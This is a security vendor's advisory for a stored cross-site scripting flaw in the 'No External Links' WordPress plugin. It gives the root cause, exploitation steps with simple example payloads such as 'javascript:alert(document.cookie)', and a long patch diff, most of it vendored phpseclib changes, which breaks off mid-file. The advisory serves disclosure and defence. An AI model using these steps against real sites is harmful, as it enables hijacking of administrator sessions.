Published : December 3, 2026

CVE-2026-131591: No External Links <= 5.3.0 Unauthenticated Stored Cross-Site Scripting via Comment Link href PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 5.3.0
Patched Version 5.3.1
Disclosed November 30, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-131591:

This is an unauthenticated stored cross-site scripting (XSS) vulnerability in the No External Links WordPress plugin, affecting all versions up to and including 5.3.0. The flaw resides in the handling of comment link hrefs when link shortening is enabled. An attacker can inject a malicious script into a comment’s URL field. When the comment is approved and the front-end page triggers the mask insertion, the script is stored. It later executes in the browser of an administrator who visits the Masks admin screen. The CVSS score is 7.2 (High), and the CWE is 79.

Root Cause: The vulnerability stems from insufficient output escaping in two locations. In `admin/MaskTable.php`, the `column_title` and `column_mask` methods return `$item[‘url’]` and `$item[‘mask’]` without escaping (lines 182 and 197 in the vulnerable version). These values are derived from user-supplied comment URLs. Additionally, `public/Frontend.php` line 373 returns a link with an unescaped `$url` inside the `href` attribute, and line 872 decodes the URL with `html_entity_decode` without sanitizing it, allowing characters like “, and quotes to pass through. The plugin fails to apply `esc_html()` or `esc_url_raw()` to these values before rendering them in the admin page or front-end output. The patch adds `esc_html()` to the title and mask fields, and `esc_url()` and `esc_url_raw()` to the frontend URL handling, thereby fixing the escaping flaws.

Exploitation: The attacker submits a comment to a post containing a crafted URL in the comment author’s website field (or within the comment content if it includes a link). The URL contains a payload such as `javascript:alert(document.cookie)` or `alert(1)`. The comment must be approved, and at least one front-end page view must trigger the mask insertion. This stores the malicious URL in the `wp_external_links_masks` table. When an administrator later opens the Masks screen (e.g., via `wp-admin/admin.php?page=no-external-links`), the unescaped URL is rendered in a table cell, executing the script in the admin’s browser. No authentication is required for the comment submission, though comment approval is needed.

Patch Analysis: The patch adds `esc_html()` around `esc_html( $item[‘url’] )` in `MaskTable.php` for the title column, and `esc_html( $item[‘mask’] )` for the mask column. In `Frontend.php`, it changes the unescaped `href` output to use `esc_url( $url )`, and at line 872 it replaces `html_entity_decode` with `esc_url_raw( html_entity_decode( … ) )` to strip disallowed URL characters. These changes ensure that any potentially dangerous characters are HTML-encoded before output, preventing script execution. The version is bumped to 5.3.1.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of an administrator’s session. This can lead to session hijacking, theft of authentication cookies, creation of new admin accounts, modification of plugin settings, or full site takeover. The vulnerability is stored, so it affects any admin who views the Masks screen after the malicious comment is processed.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/mihdan-no-external-links/admin/MaskTable.php
+++ b/mihdan-no-external-links/admin/MaskTable.php
@@ -179,7 +179,7 @@
 			case 'title':
 				$delete_nonce = wp_create_nonce( $this->options_prefix . 'delete_mask' );

-				$title = '<strong>' . $item['url'] . '</strong>';
+				$title = '<strong>' . esc_html( $item['url'] ) . '</strong>';

 				$page    = isset( $_REQUEST['page'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['page'] ) ) : '';
 				$actions = [
@@ -194,7 +194,7 @@

 				return $title . $this->row_actions( $actions );
 			case 'mask':
-				return (string) $item['mask'];
+				return esc_html( $item['mask'] );
 			case 'numeric':
 				return (string) $item['id'];
 			default:
--- a/mihdan-no-external-links/mihdan-no-external-links.php
+++ b/mihdan-no-external-links/mihdan-no-external-links.php
@@ -10,7 +10,7 @@
  * Plugin Name:       No External Links
  * Plugin URI:        https://www.kobzarev.com/projects/no-external-links/
  * Description:       Convert external links into internal links, site wide or post/page specific. Add NoFollow, Click logging, and more...
- * Version:           5.3.0
+ * Version:           5.3.1
  * Author:            Mikhail Kobzarev
  * Author URI:        https://www.kobzarev.com/
  * License:           GPL-2.0+
@@ -28,7 +28,7 @@
 }

 const MIHDAN_NO_EXTERNAL_LINKS_DIR     = __DIR__;
-const MIHDAN_NO_EXTERNAL_LINKS_VERSION = '5.3.0';
+const MIHDAN_NO_EXTERNAL_LINKS_VERSION = '5.3.1';
 const MIHDAN_NO_EXTERNAL_LINKS_SLUG    = 'mihdan-no-external-links';

 define( 'MIHDAN_NO_EXTERNAL_LINKS_BASENAME', plugin_basename( __FILE__ ) );
--- a/mihdan-no-external-links/public/Frontend.php
+++ b/mihdan-no-external-links/public/Frontend.php
@@ -370,7 +370,7 @@

 			$this->exclusion_list[] = $url;

-			return '<a' . $blank . $nofollow . ' href="' . $url . '" ' . $attributes . '>' . $anchor_text . '</a>';
+			return '<a' . $blank . $nofollow . ' href="' . esc_url( $url ) . '" ' . $attributes . '>' . $anchor_text . '</a>';
 		}

 		if ( 'no' !== $this->options->masking_type ) {
@@ -869,8 +869,8 @@
 		$table_name = $wpdb->prefix . 'external_links_masks';
 		$long_url   = rawurlencode( $url );

-		// Restore original URL.
-		$url = html_entity_decode( $url, ENT_HTML5 | ENT_QUOTES, get_option( 'blog_charset' ) );
+		// Restore original URL and strip characters that are not allowed in URLs.
+		$url = esc_url_raw( html_entity_decode( $url, ENT_HTML5 | ENT_QUOTES, get_option( 'blog_charset' ) ) );

 		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.NotPrepared
 		switch ( $this->options->link_shortening ) {
--- a/mihdan-no-external-links/vendor/composer/installed.php
+++ b/mihdan-no-external-links/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'mihdan/mihdan-no-external-links',
-        'pretty_version' => '5.3.0',
-        'version' => '5.3.0.0',
-        'reference' => 'cee246a6504dd582bf7e3df13551c3ca65bc58b5',
+        'pretty_version' => '5.3.1',
+        'version' => '5.3.1.0',
+        'reference' => '83ea3bd63da093148d02a5138052afdf5597752e',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,9 +11,9 @@
     ),
     'versions' => array(
         'mihdan/mihdan-no-external-links' => array(
-            'pretty_version' => '5.3.0',
-            'version' => '5.3.0.0',
-            'reference' => 'cee246a6504dd582bf7e3df13551c3ca65bc58b5',
+            'pretty_version' => '5.3.1',
+            'version' => '5.3.1.0',
+            'reference' => '83ea3bd63da093148d02a5138052afdf5597752e',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
@@ -47,9 +47,9 @@
             'dev_requirement' => false,
         ),
         'phpseclib/phpseclib' => array(
-            'pretty_version' => '3.0.50',
-            'version' => '3.0.50.0',
-            'reference' => 'aa6ad8321ed103dc3624fb600a25b66ebf78ec7b',
+            'pretty_version' => '3.0.57',
+            'version' => '3.0.57.0',
+            'reference' => 'd17e0ddaeaf6f22f7e007cbb437d78792fe2a0e4',
             'type' => 'library',
             'install_path' => __DIR__ . '/../phpseclib/phpseclib',
             'aliases' => array(),
--- a/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/AES.php
+++ b/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/AES.php
@@ -59,7 +59,7 @@
      *
      * Since phpseclib3CryptAES extends phpseclib3CryptRijndael, this function is, technically, available, but it doesn't do anything.
      *
-     * @see phpseclib3CryptRijndael::setBlockLength()
+     * @see Rijndael::setBlockLength()
      * @param int $length
      * @throws BadMethodCallException anytime it's called
      */
--- a/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/ChaCha20.php
+++ b/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/ChaCha20.php
@@ -35,7 +35,7 @@
      *
      * This is mainly just a wrapper to set things up for phpseclib3CryptCommonSymmetricKey::isValidEngine()
      *
-     * @see phpseclib3CryptCommonSymmetricKey::__construct()
+     * @see SymmetricKey::__construct()
      * @param int $engine
      * @return bool
      */
@@ -73,7 +73,7 @@
     /**
      * Encrypts a message.
      *
-     * @see phpseclib3CryptCommonSymmetricKey::decrypt()
+     * @see SymmetricKey::decrypt()
      * @see self::crypt()
      * @param string $plaintext
      * @return string $ciphertext
@@ -95,7 +95,7 @@
      * $this->decrypt($this->encrypt($plaintext)) == $this->encrypt($this->encrypt($plaintext)).
      * At least if the continuous buffer is disabled.
      *
-     * @see phpseclib3CryptCommonSymmetricKey::encrypt()
+     * @see SymmetricKey::encrypt()
      * @see self::crypt()
      * @param string $ciphertext
      * @return string $plaintext
--- a/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/Common/AsymmetricKey.php
+++ b/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/Common/AsymmetricKey.php
@@ -79,18 +79,19 @@
     private static $invisiblePlugins = [];

     /**
-     * Available Engines
+     * Key Comment
      *
-     * @var boolean[]
+     * @var null|string
      */
-    protected static $engines = [];
+    private $comment;

     /**
-     * Key Comment
+     * OpenSSL configuration file name.
      *
-     * @var null|string
+     * @see self::createKey()
+     * @var ?string
      */
-    private $comment;
+    protected static $configFile;

     /**
      * @param string $type
@@ -119,6 +120,10 @@
             self::$one = new BigInteger(1);
         }

+        if (!isset(self::$configFile)) {
+            self::$configFile = dirname(__FILE__) . '/../../openssl.cnf';
+        }
+
         self::loadPlugins('Keys');
         if (static::ALGORITHM != 'RSA' && static::ALGORITHM != 'DH') {
             self::loadPlugins('Signature');
@@ -364,6 +369,18 @@
     }

     /**
+     * Sets the OpenSSL config file path
+     *
+     * Set to the empty string to use the default config file
+     *
+     * @param string $val
+     */
+    public static function setOpenSSLConfigPath($val)
+    {
+        self::$configFile = $val;
+    }
+
+    /**
      * Add a fileformat plugin
      *
      * The plugin needs to either already be loaded or be auto-loadable.
@@ -419,34 +436,28 @@
     }

     /**
-     * Tests engine validity
-     *
+     * Force engine (useful for unit testing)
      */
-    public static function useBestEngine()
+    public static function forceEngine($engine = null)
     {
-        static::$engines = [
-            'PHP' => true,
-            'OpenSSL' => extension_loaded('openssl'),
-            // this test can be satisfied by either of the following:
-            // http://php.net/manual/en/book.sodium.php
-            // https://github.com/paragonie/sodium_compat
-            'libsodium' => function_exists('sodium_crypto_sign_keypair')
-        ];
-
-        return static::$engines;
+        if (!isset($engine)) {
+            static::$forcedEngine = null;
+            return;
+        }
+        switch ($engine) {
+            case 'PHP':
+            case 'OpenSSL':
+            case 'libsodium':
+                static::$forcedEngine = $engine;
+                break;
+            default:
+                throw new InvalidArgumentException('Valid engines are null, PHP, OpenSSL or libsodium');
+        }
     }

-    /**
-     * Flag to use internal engine only (useful for unit testing)
-     *
-     */
-    public static function useInternalEngine()
+    public static function getForcedEngine()
     {
-        static::$engines = [
-            'PHP' => true,
-            'OpenSSL' => false,
-            'libsodium' => false
-        ];
+        return static::$forcedEngine;
     }

     /**
--- a/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/Common/Formats/Keys/OpenSSH.php
+++ b/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/Common/Formats/Keys/OpenSSH.php
@@ -118,7 +118,7 @@
             return compact('type', 'publicKey', 'paddedKey');
         }

-        $parts = preg_split("#[t ]+#", $key);
+        $parts = preg_split("#[t ]+#", $key, 3);

         if (!isset($parts[1])) {
             $key = base64_decode($parts[0]);
--- a/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/Common/Formats/Keys/PKCS8.php
+++ b/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/Common/Formats/Keys/PKCS8.php
@@ -565,7 +565,7 @@
              ],
             'privateKey' => $key
         ];
-        if ($oid != 'id-Ed25519' && $oid != 'id-Ed448') {
+        if ($oid != 'id-Ed25519' && $oid != 'id-Ed448' && $oid != 'id-X25519' && $oid != 'id-X448') {
             $key['privateKeyAlgorithm']['parameters'] = $params;
         }
         if (!empty($attr)) {
@@ -682,7 +682,7 @@
             'publicKey' => "" . $key
         ];

-        if ($oid != 'id-Ed25519' && $oid != 'id-Ed448') {
+        if ($oid != 'id-Ed25519' && $oid != 'id-Ed448' && $oid != 'id-X25519' && $oid != 'id-X448') {
             $key['publicKeyAlgorithm']['parameters'] = $params;
         }

--- a/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/Common/StreamCipher.php
+++ b/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/Common/StreamCipher.php
@@ -34,7 +34,7 @@
     /**
      * Default Constructor.
      *
-     * @see phpseclib3CryptCommonSymmetricKey::__construct()
+     * @see SymmetricKey::__construct()
      * @return StreamCipher
      */
     public function __construct()
--- a/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/Common/SymmetricKey.php
+++ b/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/Common/SymmetricKey.php
@@ -60,76 +60,76 @@
      * Set to -1 since that's what Crypt/Random.php uses to index the CTR mode.
      *
      * @link http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Counter_.28CTR.29
-     * @see phpseclib3CryptCommonSymmetricKey::encrypt()
-     * @see phpseclib3CryptCommonSymmetricKey::decrypt()
+     * SymmetricKey::encrypt()
+     * SymmetricKey::decrypt()
      */
     const MODE_CTR = -1;
     /**
      * Encrypt / decrypt using the Electronic Code Book mode.
      *
      * @link http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Electronic_codebook_.28ECB.29
-     * @see phpseclib3CryptCommonSymmetricKey::encrypt()
-     * @see phpseclib3CryptCommonSymmetricKey::decrypt()
+     * SymmetricKey::encrypt()
+     * SymmetricKey::decrypt()
      */
     const MODE_ECB = 1;
     /**
      * Encrypt / decrypt using the Code Book Chaining mode.
      *
      * @link http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Cipher-block_chaining_.28CBC.29
-     * @see phpseclib3CryptCommonSymmetricKey::encrypt()
-     * @see phpseclib3CryptCommonSymmetricKey::decrypt()
+     * SymmetricKey::encrypt()
+     * SymmetricKey::decrypt()
      */
     const MODE_CBC = 2;
     /**
      * Encrypt / decrypt using the Cipher Feedback mode.
      *
      * @link http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Cipher_feedback_.28CFB.29
-     * @see phpseclib3CryptCommonSymmetricKey::encrypt()
-     * @see phpseclib3CryptCommonSymmetricKey::decrypt()
+     * SymmetricKey::encrypt()
+     * SymmetricKey::decrypt()
      */
     const MODE_CFB = 3;
     /**
      * Encrypt / decrypt using the Cipher Feedback mode (8bit)
      *
-     * @see phpseclib3CryptCommonSymmetricKey::encrypt()
-     * @see phpseclib3CryptCommonSymmetricKey::decrypt()
+     * SymmetricKey::encrypt()
+     * SymmetricKey::decrypt()
      */
     const MODE_CFB8 = 7;
     /**
      * Encrypt / decrypt using the Output Feedback mode (8bit)
      *
-     * @see phpseclib3CryptCommonSymmetricKey::encrypt()
-     * @see phpseclib3CryptCommonSymmetricKey::decrypt()
+     * SymmetricKey::encrypt()
+     * SymmetricKey::decrypt()
      */
     const MODE_OFB8 = 8;
     /**
      * Encrypt / decrypt using the Output Feedback mode.
      *
      * @link http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Output_feedback_.28OFB.29
-     * @see phpseclib3CryptCommonSymmetricKey::encrypt()
-     * @see phpseclib3CryptCommonSymmetricKey::decrypt()
+     * SymmetricKey::encrypt()
+     * SymmetricKey::decrypt()
      */
     const MODE_OFB = 4;
     /**
      * Encrypt / decrypt using Galois/Counter mode.
      *
      * @link https://en.wikipedia.org/wiki/Galois/Counter_Mode
-     * @see phpseclib3CryptCommonSymmetricKey::encrypt()
-     * @see phpseclib3CryptCommonSymmetricKey::decrypt()
+     * SymmetricKey::encrypt()
+     * SymmetricKey::decrypt()
      */
     const MODE_GCM = 5;
     /**
      * Encrypt / decrypt using streaming mode.
      *
-     * @see phpseclib3CryptCommonSymmetricKey::encrypt()
-     * @see phpseclib3CryptCommonSymmetricKey::decrypt()
+     * SymmetricKey::encrypt()
+     * SymmetricKey::decrypt()
      */
     const MODE_STREAM = 6;

     /**
      * Mode Map
      *
-     * @see phpseclib3CryptCommonSymmetricKey::__construct()
+     * SymmetricKey::__construct()
      */
     const MODE_MAP = [
         'ctr'    => self::MODE_CTR,
@@ -146,44 +146,44 @@
     /**
      * Base value for the internal implementation $engine switch
      *
-     * @see phpseclib3CryptCommonSymmetricKey::__construct()
+     * SymmetricKey::__construct()
      */
     const ENGINE_INTERNAL = 1;
     /**
      * Base value for the eval() implementation $engine switch
      *
-     * @see phpseclib3CryptCommonSymmetricKey::__construct()
+     * SymmetricKey::__construct()
      */
     const ENGINE_EVAL = 2;
     /**
      * Base value for the mcrypt implementation $engine switch
      *
-     * @see phpseclib3CryptCommonSymmetricKey::__construct()
+     * SymmetricKey::__construct()
      */
     const ENGINE_MCRYPT = 3;
     /**
      * Base value for the openssl implementation $engine switch
      *
-     * @see phpseclib3CryptCommonSymmetricKey::__construct()
+     * SymmetricKey::__construct()
      */
     const ENGINE_OPENSSL = 4;
     /**
      * Base value for the libsodium implementation $engine switch
      *
-     * @see phpseclib3CryptCommonSymmetricKey::__construct()
+     * SymmetricKey::__construct()
      */
     const ENGINE_LIBSODIUM = 5;
     /**
      * Base value for the openssl / gcm implementation $engine switch
      *
-     * @see phpseclib3CryptCommonSymmetricKey::__construct()
+     * SymmetricKey::__construct()
      */
     const ENGINE_OPENSSL_GCM = 6;

     /**
      * Engine Reverse Map
      *
-     * @see phpseclib3CryptCommonSymmetricKey::getEngine()
+     * SymmetricKey::getEngine()
      */
     const ENGINE_MAP = [
         self::ENGINE_INTERNAL    => 'PHP',
@@ -1270,7 +1270,7 @@
                     if ($this->continuousBuffer) {
                         $this->encryptIV = $iv;
                     }
-                    break;
+                    return $ciphertext;
                 case self::MODE_OFB:
                     return $this->openssl_ofb_process($plaintext, $this->encryptIV, $this->enbuffer);
             }
--- a/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/DES.php
+++ b/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/DES.php
@@ -53,15 +53,15 @@
     /**
      * Contains $keys[self::ENCRYPT]
      *
-     * @see phpseclib3CryptDES::setupKey()
-     * @see phpseclib3CryptDES::processBlock()
+     * @see DES::setupKey()
+     * @see DES::processBlock()
      */
     const ENCRYPT = 0;
     /**
      * Contains $keys[self::DECRYPT]
      *
-     * @see phpseclib3CryptDES::setupKey()
-     * @see phpseclib3CryptDES::processBlock()
+     * @see DES::setupKey()
+     * @see DES::processBlock()
      */
     const DECRYPT = 1;

@@ -1292,14 +1292,14 @@

         $init_crypt = 'static $sbox1, $sbox2, $sbox3, $sbox4, $sbox5, $sbox6, $sbox7, $sbox8, $shuffleip, $shuffleinvip;
             if (!$sbox1) {
-                $sbox1 = array_map("self::safe_intval", self::$sbox1);
-                $sbox2 = array_map("self::safe_intval", self::$sbox2);
-                $sbox3 = array_map("self::safe_intval", self::$sbox3);
-                $sbox4 = array_map("self::safe_intval", self::$sbox4);
-                $sbox5 = array_map("self::safe_intval", self::$sbox5);
-                $sbox6 = array_map("self::safe_intval", self::$sbox6);
-                $sbox7 = array_map("self::safe_intval", self::$sbox7);
-                $sbox8 = array_map("self::safe_intval", self::$sbox8);'
+                $sbox1 = array_map(["' . self::class . '", "safe_intval"], self::$sbox1);
+                $sbox2 = array_map(["' . self::class . '", "safe_intval"], self::$sbox2);
+                $sbox3 = array_map(["' . self::class . '", "safe_intval"], self::$sbox3);
+                $sbox4 = array_map(["' . self::class . '", "safe_intval"], self::$sbox4);
+                $sbox5 = array_map(["' . self::class . '", "safe_intval"], self::$sbox5);
+                $sbox6 = array_map(["' . self::class . '", "safe_intval"], self::$sbox6);
+                $sbox7 = array_map(["' . self::class . '", "safe_intval"], self::$sbox7);
+                $sbox8 = array_map(["' . self::class . '", "safe_intval"], self::$sbox8);'
                 /* Merge $shuffle with $[inv]ipmap */ . '
                 for ($i = 0; $i < 256; ++$i) {
                     $shuffleip[]    =  self::$shuffle[self::$ipmap[$i]];
@@ -1389,4 +1389,4 @@
             ]
         );
     }
-}
 No newline at end of file
+}
--- a/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/DH.php
+++ b/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/DH.php
@@ -28,6 +28,7 @@
 use phpseclib3CryptDHParameters;
 use phpseclib3CryptDHPrivateKey;
 use phpseclib3CryptDHPublicKey;
+use phpseclib3ExceptionBadConfigurationException;
 use phpseclib3ExceptionNoKeyLoadedException;
 use phpseclib3ExceptionUnsupportedOperationException;
 use phpseclib3MathBigInteger;
@@ -295,21 +296,64 @@
         }

         if ($private instanceof ECPrivateKey) {
+            $privateCurve = $private->getCurve();
             switch (true) {
                 case $public instanceof ECPublicKey:
+                    if ($privateCurve !== $public->getCurve()) {
+                        throw new InvalidArgumentException("The public key curve (" . $public->getCurve() . ") and private key curve ($privateCurve) need to match");
+                    }
+                    $orig = $public;
                     $public = $public->getEncodedCoordinates();
                     // fall-through
                 case is_string($public):
+                    $forcedEngine = EC::getForcedEngine();
+                    if ($forcedEngine === 'libsodium' && $privateCurve !== 'Curve25519') {
+                        throw new BadConfigurationException('Engine libsodium is forced but can only used with Curve25519 for ECDH');
+                    }
+                    if (!isset($forcedEngine) || $forcedEngine === 'OpenSSL') {
+                        // PHP 7.3.0 introduced the openssl_pkey_derive() function
+                        // openssl_dh_computee_key() has been around since PHP 5.3.0+ BUT it did not support ECDH
+                        // until PHP 8.1.0 / OpenSSL 3.0.0
+                        if ($forcedEngine === 'OpenSSL' && !function_exists('openssl_pkey_derive')) {
+                            throw new BadConfigurationException('Engine OpenSSL is forced but unsupported for ECDH');
+                        }
+                        if (function_exists('openssl_pkey_derive')) {
+                            $privateStr = (string) $private->withPassword();
+                            $publicStr = (string) (isset($orig) ? $orig : EC::convertPointToPublicKey($private->getCurve(), $public));
+                            $result = openssl_pkey_derive($publicStr, $privateStr);
+                            if ($result) {
+                                return $result;
+                            }
+                            if ($forcedEngine === 'OpenSSL') {
+                                // i suppose we _could_ try openssl_dh_compute_key() at this point
+                                // quoting https://www.php.net/openssl-dh-compute-key "ECDH is only supported as of PHP 8.1.0 and OpenSSL 3.0.0". ie.
+                                // PHP_VERSION_ID >= 80100 && OPENSSL_VERSION_NUMBER >= 0x3000000f
+                                // but i think that's overkill. if openssl_pkey_derive() doesn't work it seems doubtful to me that openssl_dh_compute_key() would
+                                throw new BadConfigurationException('Engine OpenSSL is forced but was unable to perform ECDH because of ' . openssl_error_string());
+                            }
+                        }
+                    }
+                    $curveName = $private->getCurve();
+                    $isMontgomeryCurve = $curveName == 'Curve25519' || $curveName == 'Curve448';
+                    if (!$isMontgomeryCurve) {
+                        $public = EC::convertPointToPublicKey($curveName, $public, false);
+                    }
                     $point = $private->multiply($public);
-                    switch ($private->getCurve()) {
-                        case 'Curve25519':
-                        case 'Curve448':
-                            $secret = $point;
-                            break;
-                        default:
-                            // according to https://www.secg.org/sec1-v2.pdf#page=33 only X is returned
-                            $secret = substr($point, 1, (strlen($point) - 1) >> 1);
+                    if ($isMontgomeryCurve) {
+                        /*
+                        "Both MAY check, without leaking extra information about the value of K,
+                         whether K is the all-zero value and abort if so"
+                        -- https://datatracker.ietf.org/doc/html/rfc7748#section-6.1 (and #section-6.2)
+                        */
+                        $size = $curveName == 'Curve25519' ? 32 : 56;
+                        // throw exception if hash_equals is false, otherwise, return $point
+                        if (hash_equals(str_repeat("", $size), $point)) {
+                            throw new UnexpectedValueException('All-zero shared secret detected (points order is too small)');
+                        }
+                        return $point;
                     }
+                    // according to https://www.secg.org/sec1-v2.pdf#page=33 only X is returned
+                    $secret = substr($point, 1, (strlen($point) - 1) >> 1);
                     /*
                     if (($secret[0] & "x80") === "x80") {
                         $secret = "$secret";
--- a/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/DSA.php
+++ b/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/DSA.php
@@ -33,6 +33,7 @@
 use phpseclib3CryptDSAParameters;
 use phpseclib3CryptDSAPrivateKey;
 use phpseclib3CryptDSAPublicKey;
+use phpseclib3ExceptionBadConfigurationException;
 use phpseclib3ExceptionInsufficientSetupException;
 use phpseclib3MathBigInteger;

@@ -88,6 +89,14 @@
     protected $sigFormat;

     /**
+     * Forced Engine
+     *
+     * @var ?string
+     * @see parent::forceEngine()
+     */
+    protected static $forcedEngine = null;
+
+    /**
      * Signature Format (Short)
      *
      * @var string
@@ -110,10 +119,6 @@
             throw new RuntimeException('createParameters() should not be called from final classes (' . static::class . ')');
         }

-        if (!isset(self::$engines['PHP'])) {
-            self::useBestEngine();
-        }
-
         switch (true) {
             case $N == 160:
             /*
@@ -185,15 +190,19 @@
     {
         self::initialize_static_variables();

+        if (self::$forcedEngine == 'libsodium') {
+            throw new BadConfigurationException('Engine ' . self::$forcedEngine . ' is forced but unsupported for DSA');
+        }
+
+        if (self::$forcedEngine == 'OpenSSL' && !defined('OPENSSL_KEYTYPE_DSA')) {
+            throw new BadConfigurationException("Engine OpenSSL is forced but unsupported for DSA");
+        }
+
         $class = new ReflectionClass(static::class);
         if ($class->isFinal()) {
             throw new RuntimeException('createKey() should not be called from final classes (' . static::class . ')');
         }

-        if (!isset(self::$engines['PHP'])) {
-            self::useBestEngine();
-        }
-
         if (count($args) == 2 && is_int($args[0]) && is_int($args[1])) {
             $params = self::createParameters($args[0], $args[1]);
         } elseif (count($args) == 1 && $args[0] instanceof Parameters) {
@@ -204,6 +213,33 @@
             throw new InsufficientSetupException('Valid parameters are either two integers (L and N), a single DSA object or no parameters at all.');
         }

+        // at this point the only two supported values for self::$forcedEngine are OpenSSL, PHP and null
+        // if it's either OpenSSL or null we'll use OpenSSL (if it's available)
+        if (self::$forcedEngine !== 'PHP' && defined('OPENSSL_KEYTYPE_DSA')) {
+            $config = [];
+            if (self::$configFile) {
+                $config['config'] = self::$configFile;
+            }
+            $dsa = openssl_pkey_new($config + [
+                'private_key_type' => OPENSSL_KEYTYPE_DSA,
+                'p' => $params->p,
+                'q' => $params->q,
+                'g' => $params->g,
+            ]);
+            if ($dsa && openssl_pkey_export($dsa, $privatekeystr, null, $config)) {
+                // clear the buffer of error strings stemming from a minimalistic openssl.cnf
+                // https://github.com/php/php-src/issues/11054 talks about other errors this'll pick up
+                while (openssl_error_string() !== false) {
+                }
+
+                return DSA::load($privatekeystr)
+                    ->withHash($params->hash->getHash())
+                    ->withSignatureFormat($params->shortFormat);
+            } elseif (isset(self::$forcedEngine)) {
+                throw new BadConfigurationException('Engine OpenSSL is forced but unsupported for DSA');
+            }
+        }
+
         $private = new PrivateKey();
         $private->p = $params->p;
         $private->q = $params->q;
@@ -227,10 +263,6 @@
      */
     protected static function onLoad(array $components)
     {
-        if (!isset(self::$engines['PHP'])) {
-            self::useBestEngine();
-        }
-
         if (!isset($components['x']) && !isset($components['y'])) {
             $new = new Parameters();
         } elseif (isset($components['x'])) {
@@ -277,22 +309,6 @@
     }

     /**
-     * Returns the current engine being used
-     *
-     * @see self::useInternalEngine()
-     * @see self::useBestEngine()
-     * @return string
-     */
-    public function getEngine()
-    {
-        if (!isset(self::$engines['PHP'])) {
-            self::useBestEngine();
-        }
-        return self::$engines['OpenSSL'] && in_array($this->hash->getHash(), openssl_get_md_methods()) ?
-            'OpenSSL' : 'PHP';
-    }
-
-    /**
      * Returns the parameters
      *
      * A public / private key is only returned if the currently loaded "key" contains an x or y
--- a/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/DSA/Formats/Keys/PKCS1.php
+++ b/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/DSA/Formats/Keys/PKCS1.php
@@ -63,6 +63,9 @@

         $key = ASN1::asn1map($decoded[0], MapsDSAPrivateKey::MAP);
         if (is_array($key)) {
+            if ($key['version']->toString() !== '0') {
+                throw new UnexpectedValueException('Version number is not valid');
+            }
             return $key;
         }

--- a/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/DSA/PrivateKey.php
+++ b/mihdan-no-external-links/vendor/phpseclib/phpseclib/phpseclib/Crypt/DSA/PrivateKey.php
@@ -14,6 +14,7 @@
 use phpseclib3CryptCommon;
 use phpseclib3CryptDSA;
 use phpseclib3CryptDSAFormatsSignatureASN1 as ASN1Signature;
+use phpseclib3ExceptionBadConfigurationException;
 use phpseclib3MathBigInteger;

 /**
@@ -79,20 +80,34 @@
     {
         $format = $this->sigFormat;

-        if (self::$engines['OpenSSL'] && in_array($this->hash->getHash(), openssl_get_md_methods())) {
-            $signature = '';
-            $result = openssl_sign($message, $signature, $this->toString('PKCS8'), $this->hash->getHash());
-
-            if ($result) {
-                if ($this->shortFormat == 'ASN1') {
-                    return $signature;
-                }
+        if (self::$forcedEngine === 'libsodium') {
+            throw new BadConfigurationException('Engine libsodium is forced but unsupported for DSA');
+        }

-                $loaded = ASN1Signature::load($signature);
-                $r = $loaded['r'];
-                $s = $loaded['s'];
+        if (self::$forcedEngine === 'OpenSSL' && !function_exists('openssl_get_md_methods')) {
+            throw new BadConfigurationException('Engine OpenSSL is forced but unsupported for DSA');
+        }

-                return $format::save($r, $s);
+        if (function_exists('openssl_get_md_methods') && self::$forcedEngine !== 'PHP') {
+            if (in_array($this->hash->getHash(), openssl_get_md_methods())) {
+                $signature = '';
+                $result = openssl_sign($message, $signature, $this->withPassword()->toString('PKCS8'), $this->hash->getHash());
+
+                if ($result) {
+                    if ($this->shortFormat == 'ASN1') {
+                        return $signature;
+                    }
+
+                    $loaded = ASN1Signature::load($signature);
+                    $r = $loaded['r'];
+                    $s = $loaded['s'];
+
